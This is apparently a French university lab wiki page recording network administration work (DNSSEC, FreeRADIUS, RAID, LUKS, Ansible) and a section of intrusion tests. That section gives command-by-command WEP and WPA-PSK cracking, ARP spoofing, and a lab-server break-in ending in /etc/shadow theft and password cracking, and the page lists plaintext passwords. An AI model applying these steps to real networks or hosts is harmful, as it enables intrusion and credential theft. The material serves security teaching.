Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
